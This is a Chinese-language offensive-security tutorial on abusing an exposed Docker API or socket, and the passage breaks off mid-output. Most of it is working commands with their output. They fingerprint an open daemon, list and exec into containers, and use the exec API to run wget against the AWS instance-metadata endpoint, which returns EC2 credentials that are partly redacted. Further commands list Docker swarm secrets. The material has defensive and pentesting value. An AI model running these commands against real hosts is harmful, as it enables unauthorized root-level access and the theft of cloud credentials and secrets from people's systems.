滥用Docker API | Socket
关于滥用开放Docker Socket的说明
本文不涉及从Docker容器中逃逸的内容。
端口:通常为2375和2376,但可以是任意端口。
参考链接
启用Docker Socket(创建实践环境)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd
暴露Docker API或Socket本质上相当于授予系统上任何容器的root权限。
守护进程默认监听unix:///var/run/docker.sock,但您可以将Docker绑定到其他主机/端口或Unix套接字。
Docker套接字是Docker守护进程默认监听的套接字,可用于从容器内部与守护进程通信,或者如果配置了,还可以从容器外部与运行Docker的主机通信。
所有Docker套接字的魔法都是通过Docker API实现的。例如,如果我们想要启动一个nginx容器,我们可以执行以下操作:
创建nginx容器
以下命令使用curl通过Unix套接字向Docker守护进程的/containers/create端点发送{“Image”:“nginx”}负载。这将创建一个基于Nginx的容器并返回其ID。
1
2
3
|
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}
|
启动容器
1
|
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start
|
如上所述,您还可以让Docker套接字监听TCP端口。
您可以通过版本请求验证它是否是Docker。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$ curl -s http://open.docker.socket:2375/version | jq
{
"Version": "1.13.1",
"ApiVersion": "1.26",
"MinAPIVersion": "1.12",
"GitCommit": "07f3374/1.13.1",
"GoVersion": "go1.9.4",
"Os": "linux",
"Arch": "amd64",
"KernelVersion": "3.10.0-514.26.2.el7.x86_64",
"BuildTime": "2018-12-07T16:13:51.683697055+00:00",
"PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}
|
或使用Docker客户端
1
2
3
4
5
6
7
8
9
10
11
|
docker -H open.docker.socket:2375 version
Server:
Engine:
Version: 1.13.1
API version: 1.26 (minimum version 1.12)
Go version: go1.9.4
Git commit: 07f3374/1.13.1
Built: Fri Dec 7 16:13:51 2018
OS/Arch: linux/amd64
Experimental: false
|
这基本上是一个进入容器的shell。
使用ps命令获取运行中的容器列表
1
2
3
4
5
6
7
8
9
|
docker -H open.docker.socket:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs
b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8
0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql
3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config
3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8
6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry
|
进入其中一个容器
1
2
3
4
|
docker -H open.docker.socket:2375 exec -it mysql /bin/bash
bash-4.2$ whoami
mysql
|
其他命令
是否有停止的容器?
1
|
docker -H open.docker.socket:2375 ps -a
|
主机上拉取了哪些镜像?
1
|
docker -H open.docker.socket:2375 images
|
我经常无法让Docker客户端在执行命令时正常工作,但您仍然可以使用API在容器中执行代码。下面的示例使用curl通过https(如果启用)与API交互。创建并执行作业,设置变量以接收输出,然后启动执行以获取输出。
使用curl访问API
有时您会看到2376作为TLS端点。我无法使用Docker客户端连接到它,但使用curl没有问题,可以访问Docker API。
Docker套接字到元数据URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec
以下是访问内部AWS元数据URL并获取输出的示例。
列出容器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
{
"Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
"Names": [
"/docker_snip_1"
],
"Image": "dotnetify",
"ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
"Command": "cmd /S /C 'dotnet netify-temp.dll'",
"Created": 1541018555,
"Ports": [
{
"IP": "0.0.0.0",
"PrivatePort": 443,
"PublicPort": 50278,
---SNIP---
|
列出容器中的进程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
{
"Processes": [
[
"smss.exe",
"7868",
"00:00:00.062",
"225.3kB"
],
[
"csrss.exe",
"10980",
"00:00:00.859",
"421.9kB"
],
[
"wininit.exe",
"10536",
"00:00:00.078",
"606.2kB"
],
[
"services.exe",
"10768",
"00:00:00.687",
"1.208MB"
],
[
"lsass.exe",
"10416",
"00:00:36.000",
"4.325MB"
],
---SNIP---
|
设置并执行作业以访问元数据URL:
1
2
3
|
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}
|
获取输出:
1
2
3
4
5
6
7
8
9
10
11
|
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
{
"Code" : "Success",
"LastUpdated" : "2019-01-29T20:12:58Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIATRSNIP",
"SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
"Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
"Expiration" : "2019-01-30T02:43:34Z"
}
|
Docker secrets
相关阅读:https://docs.docker.com/engine/swarm/secrets/
列出secrets(没有secrets/swarm未设置)
1
2
3
|
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}
|
列出secrets(存在时)
1
2
3
4
5
6
7
8
9
10
|
$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
[
{
"ID": "9h3useaicj3tr465ejg2koud5",
"Version": {
"Index": 21
},
"CreatedAt": "2018-07-06T10:19:50.677702428Z",
"UpdatedAt": "2018-07-06T10
|